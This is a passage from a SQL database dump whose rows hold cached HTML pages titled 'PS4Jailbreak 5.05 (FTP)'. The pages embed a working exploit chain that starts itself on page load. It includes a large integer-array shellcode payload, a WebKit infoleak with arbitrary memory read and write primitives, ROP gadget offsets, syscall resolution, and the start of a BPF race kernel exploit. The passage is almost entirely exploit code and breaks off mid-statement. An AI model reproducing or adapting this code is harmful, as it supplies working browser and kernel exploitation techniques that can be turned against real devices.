680,6300,1427475784,1207959577,290796941,4041736192,2332033026,1606461,361580544,6340,1513459016,3892314129,727,409615755,2370306048,1635093,898451456,4442,179944,1362987776,1207959576,422712717,2370306048,1134389,44427264,1032519680,6200,2568326472,1207959576,289682829,2364014592,2332033026,1580861,361580544,6304,959810888,3892314129,627,403062155,2370306048,1613589,898451456,4399,154344,3980233472,1207959575,403051917,2370306048,1123637,37873664,1032519680,6100,2501217608,1207959576,286995853,686292992,2332033026,1555261,361580544,6052,305499464,3892314129,527,396508555,2370306048,1592085,898451456,4367,128744,2302511872,1207959575,397022605,2370306048,1117749,31320064,1032519680,6000,3373632840,1207959575,286012813,3303538688,2332033025,1529661,361580544,6224,4197813576,3892314128,427,389954955,2370306048,1541909,898451456,4334,103144,624790272,1207959575,388896141,2370306048,1105205,24766464,1032519680,5900,3709177160,1207959575,281752973,1625817088,2332033025,1504061,361580544,6036,3207957832,3892314128,327,383401355,2370306048,1553173,898451456,4285,77544,3242035968,1207959574,384439693,2370306048,1096245,18212864,1032519680,5800,1897237832,1207959575,280442253,4243062784,2332033024,1478461,361580544,6016,3023408456,3892314128,227,376847755,2370306048,1484565,898451456,4273,51944,1564314368,1207959574,374216077,2370306048,1089333,11659264,1032519680,5700,1427475784,1207959574,277689741,2565341184,2332033024,1452861,361580544,5908,2067107144,3892314128,127,370294155,2370306048,1477397,898451456,4201,26344,4181560064,1207959573,380245389,2370306048,1070901,5105664,1032519680,5600,1226149192,1476395030,1177914696,3909091344,51,149717832,4130460209,993889608,1157627920,826657073,4291375552,1459989,361580544,5808,1161137480,2298478608,15292615,1207959552,38781127,2934505472,1207959559,38846663,2733178880,1207959559,1208544387,3526488457,1174309192,1388298289,822083586,126150848,3277455360,62965576,3909091328,1913,79742792,3909091328,1901,96520008,3909091328,1889,113297224,3909091328,1877,180406088,3909091328,1865,985712456,3909091328,1853,364955464,3909091328,1841,2059454280,3909091329,1829,381732680,3909091328,1817,2076231496,3909091328,1805,2093008712,3909091328,1793,2160117576,3909091328,1781,2294335304,3909091328,1769,2311112520,3909091328,1757,3166750536,3909091328,1745,3183527752,3909091328,1733,281069384,3909091329,1721,3737175880,3909091329,1709,3988834120,3909091329,1697,3720398664,3909091329,1685,1237370696,3909091328,1673,1254147912,3909091328,1661,1103152968,3909091328,1649,3418408776,3909091328,1637,3435185992,3909091328,1625,599836488,3909091330,1613,1019266888,3909091330,1601,149717832,337001867,2370306048,1406741,898451456,3797,4294863592,4248669183,1207959571,355341709,2370306048,970037,4266780672,1032585215,5092,85298504,1207959573,247674253,954728448,2348810238,1297213,361580544,5412,3140848968,3892314126,4294966815,330448267,2370306048,1370901,898451456,3761,4294837992,2570947583,1207959571,348263821,2370306048,960565,4260227072,1032585215,4992,2434108744,1207959572,245249421,3571974144,2348810237,1271613,361580544,5288,2520091976,3892314126,4294966715,323894667,2370306048,1333013,898451456,3729,4294812392,893225983,1207959571,345904525,2370306048,954165,4253673472,1032585215,4892,890604872,1207959572,243938701,1894252544,2348810237,1246013,361580544,5204,2285210952,3892314126,4294966615,317341067,2370306048,1323797,2370328576,952117,4248692992,1163132927,826657073,835269056,1224094162,243547533,369033216,4948,1695911240,1207959572,243807629,3280535552,216582025,2315255805,361580767,5604,1983221064,3892314126,4294966519,2370363273,1335061,898451456,3686,4294763240,1222609407,347739533,2370306048,940085,4241352704,3750363135,1159040328,1207959573,239809933,3102212096,2315255804,361580767,5360,1060474184,3892314126,4294966435,2370363273,1297173,898451456,3633,4294741736,1222609407,343283085,2370306048,926517,4235847680,3750363135,2165673288,1207959571,236270989,1692925952,2315255804,361580767,5172,120950088,3892314126,4294966351,2370363273,1302293,898451456,3578,4294720232,1222609407,338826637,2370306048,912437,4230342656,3750363135,3709177160,1207959572,232732045,283639808,2315255804,361580767,5240,3509947720,3892314125,4294966267,2370363273,1295125,898451456,3523,4294698728,1222609407,342234509,2370306048,898613,4224837632,3750363135,4044721480,1207959570,229193101,3169320960,2315255803,361580767,5036,2637532488,3892314125,4294966183,2370363273,1337109,898451456,3471,4294677224,1222609407,317855117,2370306048,885045,4219332608,3750363135,622169416,1207959571,225719693,1760034816,2315255803,361580767,4984,1714785608,3892314125,4294966099,2370363273,1272597,898451456,3417,4294655720,1222609407,313398669,2370306048,869173,4213827584,3750363135,3239415112,1207959571,221590925,350748672,2315255803,361580767,5052,674598216,3892314125,4294966015,2370363273,1228565,898451456,3352,4294634216,1222609407,302126477,2370306048,854837,4208322560,3750363135,1293258056,1207959570,218051981,3236429824,2315255802,361580767,4808,4113927496,3892314124,4294965931,2370363273,1215253,898451456,3303,4294612712,1222609407,316544397,2370306048,841781,4202817536,3750363135,823496008,1207959570,214185357,1827143680,2315255802,361580767,4476,3023408456,3892314124,4294965847,2370363273,1212181,898451456,3239,4294591208,1222609407,298456461,2370306048,822325,4197312512,3750363135,3038088520,1207959570,209663373,417857536,2315255802,361580767,4720,1664453960,3892314124,4294965763,2370363273,1225493,898451456,3165,4294569704,1222609407,308155789,2370306048,806709,4191807488,3750363135,152407368,1207959570,205731213,3303538688,2315255801,361580767,4692,943033672,3892314124,4294965679,2370363273,1134357,898451456,3119,4294548200,1222609407,301602189,2370306048,794933,4186302464,3750363135,3709177160,1207959568,202651021,1894252544,2315255801,361580767,4280,120950088,3892314124,4294965595,2370363273,1190677,898451456,3068,4294526696,1222609407,276174221,2370306048,782133,4180797440,3750363135,1763020104,1207959568,199374221,484966400,2315255801,361580767,4580,3610611016,3892314123,4294965511,2370363273,1097493,898451456,3019,4294505192,1222609407,272766349,2370306048,769077,4175292416,3750363135,4246048072,1207959568,196294029,3370647552,2315255800,361580767,4296,2754973000,3892314123,4294965427,2370363273,1135381,898451456,2965,4294483688,1222609407,271979917,2370306048,755509,4169787392,3750363135,3373632840,1207959568,192427405,1961361408,2315255800,361580767,4292,1765117256,3892314123,4294965343,1213980553,266212749,2370306048,743989,4165593344,826867711,3397994944,24249615,1032014019,3655,1343779840,238949887,2304311296,3234285576,4294967295,4290955080,3288334335,977076283,175318272,168430090,620759562,1931816819,1852649216,1634938740,1868719214,1718628216,1953394035,1583031552,788553005,1953724787,1683975525,794915937,2036427888,623865703,1684156275,2037411683,1835167790,6451712,1953393967,1651733807,1882074928,1700949874,1112757504,1831796784,1966044270,3170931,1680765733,1768975733,620783470,1868770931,1701605485,620782964,1885416819,1931804784,1952542765,788555875,1919251317,1886413103,796075311,779120737,6777712,1920235589,1769235297,1629513582,1881174128,1634427745,774792551,1932460078,1702130553,1633967981,1882153332,796289394,1836085345,794915941,1848603429,1953068144,1680762220,620786785,1668493171,2037604197,1886269299,1819568500,1633955429,1932460148,1702130553,1633967981,1882153332,796289394,1836085345,794915941,1848603429,1852400240,1633955428,1931804788,1701016367,1937339231,1651535407,778333801,7627108,1702065455,1634742130,795370356,1882157861,1751348321,1735094318,1954039040,1952670066,543649385,1668571504,1634738280,1734437731,774778469,1919241472,1735289191,1952542752,1881172067,1634427745,774792551,1831796782,1932489838,1650749025,1882159215,1852666726,1931816820,1886413101,1701719344,1882158195,1767863142,1701273965,1952539694,1954039040,1952670066,543649385,544239713,1734438249,774778469,1852649216,1634938740,1868719214,1718628216,1953394035,762520879,1668571504,1848455272,796160869,1601398384,1734438249,1633955429,2017788020,1667330676,1735289204,1952542752,1763731555,1701273965,3026478,1819308097,1735289209,1952542752,774793315,1831796782,1932489838,1650749025,1882159215,1852666726,1931816820,1886413101,1698955312,1887007331,1735289204,1818587936,774796134,1831796782,1932489838,1650749025,1882159215,1852666726,1931816820,1952542765,3172451,1919116612,1769238649,1881171822,1751348321,3026478,1768714355,1869480052,2036754804,1969779456,2003788916,1953366126,1634038376,1700200548,1836016492,1869881445,877875232,1297433645,542262608,942551414,1767986944,1735289204,1919903264,1112757536,1936286752,774778475,796075264,1886221668,1663988325,1459644262,1769236833,1713399662,1730179695,543518049,1814065012,1668183393,774778472,1767986944,1735289204,1919903264,1835099936,1869881445,1886348064,1965361785,1663051045,1819307375,1684370533,3026478,1918989395,1969496180,1852403821,1931807335,544175136,620786469,1969496179,1684369517,1750272558,1769239669,1679845230,778991471,620768814,1969496179,1684369517,2034371118,1392517477,2035508579,1919894387,1650807397,7630703,1869771333,1663056498,1869508193,1868767348,1713404272,543517801,2192165,1701013868,778400622,7627108,1701013868,778400622,1868983913,1818587904,1718511974,1633955439,1835597940,1768253281,779052654,7627108,1735549300,1680700517,1635019877,1868983913,1952539694,1769107200,762210663,1953260900,1718511969,1633955439,1936719988,1702061426,1684371058,1952539694,1918988288,1932422497,1879076710,1970171762,1634296686,1852795252,1819113518,1869770752,1668183406,1769234793,1932422767,1879074665,774988649,6778480,1952609648,1768714095,779052654,7627108,795897953,2036427888,1663922023,1802401128,1952539694,1886413056,1634496559,762275705,1853188195,1752378987,1885405281,1819291504,1869052257,1851878701,1936025193,1836592756,1752367212,1885696609,1835102817,1869834798,1752367214,1868919393,1819436406,1835628897,778397537,6778480,1702257011,1952539743,1852845665,1752367207,1885696609,1635150194,1969715555,1768190561,1701273965,1735290926,1868785920,1882075246,1879074670,774923113,6778480,811888243,963928366,1634231040,1768253294,795829870,1851877475,1852400999,2016309094,1761635437,812543843,1935959086,1667854336,1684287024,1768947827,1680748899,1761637220,812543843,842016095,1852845685,1768947815,626995555,779432496,6778480,1851877475,1852400999,1664053094,1735287144,1718511973,807755631,2016310578,1761635437,812543843,842016095,1684287093,1768947827,626995555,779432496,7562340,1886351988,1949268328,1752199026,842016121,1920216693,1701511280,1885433209,795898463,1966288933,1735290926,2036689664,1601200493,623865970,796209712,1966288933,1735290926,796075264,1600480115,796096883,1811968805,1701536361,1818586738,1919972142,1768685688,1919249250,1600939374,778200439,2020765811,1651076096,1852990827,1935633509,1932424057,7893616,1953718111,1600873313,1600874595,1918989671,1600061540,1667331187,1751342955,1634099051,1593863273,1920099679,1929409135,1699439971,1818586738,1869771333,1668481138,1919241061,1282172270,1399087471,1953653108,1969516365,1929405804,1699439971,1818586738,1869376577,1702125923,1701996868,1699574883,2037542765,1701016320,1852990795,1632463973,1919501424,1299473253,1919905125,1668481145,1919241061,1399612782,7627124,1264935795,1701737061,1701859180,1668481134,1919241061,1382835566,6578533,1264935795,1701737061,1702055020,1929407333,1699439971,1818586738,1936682051,1668481125,1919241061,1399612782,1885693292,1701016320,1852990795,1934978149,1885693292,1701016320,1852990795,1699179621,1835627636,1684434789,1929410913,1699439971,1818586738,1349805383,1701015410,1767142259,1929405805,1699439971,1818586738,1131701575,1701999221,1883468910,2037579893,1819566963,1937339136,1651274851,1835101817,2037579877,1668440435,2019885160,1702257509,1752461312,1684104562,1818587999,1953497190,1634038376,1702059876,1717985652,1953066601,1886281593,1701016320,1852990795,1917021285,1702125925,1702195525,1929405813,1699439971,1818586738,1701602628,1900373364,1702192501,1701016320,1852990795,1682009189,1702057316,1702249842,1929409646,1699439971,1818586738,1382310977,1164206437,1953391990,1952802560,6580597,1735681383,1728078953,1768977509,1702035556,1684632948,1952805632,6580583,1920230771,1684632933,1952805632,1768383858,1932460132,1702130553,1868771181,1852796269,1651076143,1651076143,1399153491,1951757177,1932422249,7893616,1399153523,1951757177,1699966057,2035508334,1835365491,1769238350,1633904998,1852795252,1752459607,1954047316,1701016320,1919448144,1130652005,1952540018,1668481125,1752453221,1684104562,1953069125,1701016320,1919448144,1147429221,1667331173,1668481128,1752453221,1684104562,1852403530,1701016320,1919448144,1499750757,1684825449,1701016320,1919448144,1399087461,6712421,1348821875,1701996660,1631806561,1818583918,1701016320,1919448144,1298424165,2019914869,1953066569,1701016320,1919448144,1298424165,2019914869,1953719620,7958386,1348821875,1701996660,1968006241,1282958708,7037807,1348821875,1701996660,1968006241,1417176436,1869379954,1929407331,1951425891,1634038376,1953844580,1767143525,1818518893,7037807,1348821875,1701996660,1968006241,1433953652,1668246638,1768685675,1701008226,1667393868,1702129225,1818324594,1919972142,1634533496,1668246636,1701996032,1633878117,1668246636,1634038272,1668246636,1835363584,1734962273,1701642350,1952805741,1835363584,7958627,1668113773,1929408621,1885565556,1953693817,1885564530,1953693817,1952539506,1920234240,1952539502,1920234240,7234924,1668445299,1929408621,1668182644,1929408621,1852404336,1929406068,1769107566,6714478,1633907571,1929406062,1751347828,1953693810,1751347826,1953693810,1920234354,1920234240,7370084,1684957554,1761638501,1734960243,1627419753,6909812,1819440243,7958627,1701999731,1919906418,1699176192,1952673908,6647929,1869894495,1644194933,2037411683,1634890496,1627415662,1769235315,1627415917,1769235315,1918854509,1953326848,6647145,1769237863,1935631725,1668246528,1769237601,1811965293,1818321775,1701669236,1828745823,1835627627,1886322789,1768189541,1701970034,1768186977,1701970034,1768186977,7495538,1819043188,7498084,1801807219,7498084,1769432434,1768186990,1818427506,1684370287,1677750889,1684435561,1952802560,1735357040,1701667182,1886348800,1711304293,1684104562,1920427520,6648937,1701147494,1952841835,7105637,1869374310,1711302003,1852404336,26228];for(var i=0;i<payload.length;i++){payloadbuf.backing[i]=payload[i];};p.syscall(74,payloadbuf,65536,7);p.syscall(324,1);p.fcall(createThread,payloadbuf,0,p.sptr("payload"));done();}</script></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (8,'<!DOCTYPE html><html><head><title>PS4Jailbreak 5.05 (FTP)</title><meta name=viewport content="width=device-width, initial-scale=1"><style>.loader{position:absolute;left:50%;top:50%;margin:-75px 0 0 -75px;border:10px solid #f3f3f3;border-radius:50%;border-top:10px solid #044595;border-left:10px solid #044595;width:120px;height:120px;-webkit-animation:spin 1s linear infinite}.info{overflow:hidden;position:fixed;position:absolute;top:50%;left:50%;font-size:45px;font-family:sans-serif;transform:translate(-50%,-50%)}.credits{overflow:hidden;position:fixed;position:absolute;top:90%;left:50%;font-size:16px;font-family:sans-serif;text-align:center;transform:translate(-50%,-90%)}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}</style></head><body style=margin:0><div id=loader class=loader></div><div id=done class=info style=display:none>Done.</div><div id=fail class=info style=display:none>Fail!</div><div id=footer class=credits><ul style=list-style:none;padding-left:0><li><a href=#>qwertyoruiopz</a></li><li><a href=#>flatz</a></li><li><a href=#>specter</a></li><li><a href=#>xvortex</a></li><li>anonymous contributors</li></ul></div><script>var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onload=function(){setTimeout(exploit,3000);};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();};};function done(){document.getElementById("loader").style.display="none";document.getElementById("done").style.display="block";};var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);};};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);};if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);};if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);};if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);};if(r8!=undefined){this.push(g.pop_r8);this.push(r8);};if(r9!=undefined){this.push(g.pop_r9);this.push(r9);};this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));};return text;};var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;};var _dview;function u2d(low,hi){if(!_dview)_dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);};function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;};return number+"";};function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0)return lo_str;else{lo_str=zeroFill(lo_str,8);};return hi_str+lo_str;};return this;};var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};};var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;};};};if(!foundLeak){throw new Error("infoleak fail");};Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;};master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727)return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);};};var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low)break;};var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime)returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;};};p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);};};var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");};returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);};return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");};var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");};return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;};nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");};var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;};var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");};var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);};var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);};krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var 